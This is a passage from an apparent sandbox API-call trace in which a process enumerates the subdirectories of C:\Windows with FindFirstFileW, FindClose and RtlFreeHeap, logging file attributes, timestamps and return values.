ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.612] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.612] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af958) returned 1 [0063.612] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b70) returned 1 [0063.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\inf\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa2aca110, ftLastAccessTime.dwHighDateTime=0x1d70913, ftLastWriteTime.dwLowDateTime=0xa2aca110, ftLastWriteTime.dwHighDateTime=0x1d70913, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.683] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.683] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040998) returned 1 [0063.683] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b80) returned 1 [0063.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Installer\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xe7be7e10, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe7be7e10, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.684] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.685] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20409d8) returned 1 [0063.685] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034b90) returned 1 [0063.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\L2Schemas\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.688] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.688] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040a18) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ba0) returned 1 [0063.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\LiveKernelReports\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe466c26b, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xe466c26b, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xe466c26b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1839, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WWAN_profile_v1.xsd", cAlternateFileName="")) returned 0xffffffff [0063.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040a68) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034bb0) returned 1 [0063.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Logs\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.689] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040aa0) returned 1 [0063.689] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034bc0) returned 1 [0063.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Media\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.691] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.691] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040ad8) returned 1 [0063.691] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034bd0) returned 1 [0063.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Microsoft.NET\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbb15e70, ftLastAccessTime.dwHighDateTime=0x1d75d2a, ftLastWriteTime.dwLowDateTime=0xbb15e70, ftLastWriteTime.dwHighDateTime=0x1d75d2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.692] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.692] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040b20) returned 1 [0063.692] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034be0) returned 1 [0063.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Migration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.693] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.693] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040b60) returned 1 [0063.693] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034bf0) returned 1 [0063.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\ModemLogs\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x495eb4a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495eb4a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="wtr", cAlternateFileName="")) returned 0xffffffff [0063.694] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040fa0) returned 1 [0063.694] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040bb8) returned 1 [0063.694] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Offline Web Pages\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.695] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.695] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040ff0) returned 1 [0063.695] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040bc8) returned 1 [0063.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Panther\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c49b960, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x788c2530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x788c2530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.696] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.697] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2041028) returned 1 [0063.697] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040bd8) returned 1 [0063.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Performance\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.697] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.697] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20af988) returned 1 [0063.697] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040be8) returned 1 [0063.697] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\PLA\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.698] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.699] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2041068) returned 1 [0063.699] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040bf8) returned 1 [0063.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\PolicyDefinitions\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.716] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20410b8) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c08) returned 1 [0063.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Prefetch\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4b99b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x9aa4b99b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x91eb38b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x57e, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WordWheel.admx", cAlternateFileName="")) returned 0xffffffff [0063.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20410f8) returned 1 [0063.717] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c18) returned 1 [0063.717] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Registration\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb43ace, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xff1f57a0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xff1f57a0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.718] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2041140) returned 1 [0063.718] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c28) returned 1 [0063.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\rescache\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb69c28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7df0c2b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7df0c2b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.719] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.719] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2041180) returned 1 [0063.719] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c38) returned 1 [0063.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Resources\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb8fd82, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.719] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.719] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20411c0) returned 1 [0063.720] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c48) returned 1 [0063.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SchCache\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebb5edc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfebb5edc, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xcb547a92, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.720] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.720] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2041200) returned 1 [0063.720] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c58) returned 1 [0063.720] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\schemas\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfebdc036, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.723] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.723] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20420d0) returned 1 [0063.723] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c68) returned 1 [0063.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\security\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec02190, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98abb4cc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x98abb4cc, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.725] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.725] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2042110) returned 1 [0063.725] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c78) returned 1 [0063.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\ServiceProfiles\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf484ebfa, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf4be0d01, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf4be0d01, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.726] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.726] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2042158) returned 1 [0063.726] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c88) returned 1 [0063.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\servicing\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.727] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.727] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2042198) returned 1 [0063.728] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040c98) returned 1 [0063.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Setup\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.729] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.729] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20421e8) returned 1 [0063.729] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040ca8) returned 1 [0063.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\ShellNew\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9968150d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.733] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.733] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20431d0) returned 1 [0063.733] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040cb8) returned 1 [0063.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SoftwareDistribution\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x192dc2a0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0xb554dba0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0xb554dba0, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.734] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.734] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2043240) returned 1 [0063.734] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040cc8) returned 1 [0063.734] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\Speech\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.735] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2043278) returned 1 [0063.735] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040cd8) returned 1 [0063.735] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\system\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec7459e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xf404c84a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.735] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.736] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2042228) returned 1 [0063.736] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040ce8) returned 1 [0063.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\System32\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4965d8c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4965d8c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.764] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.764] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2042268) returned 1 [0063.764] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040cf8) returned 1 [0063.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Windows\\SysWOW64\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe13712, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4965d8c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4965d8c0, 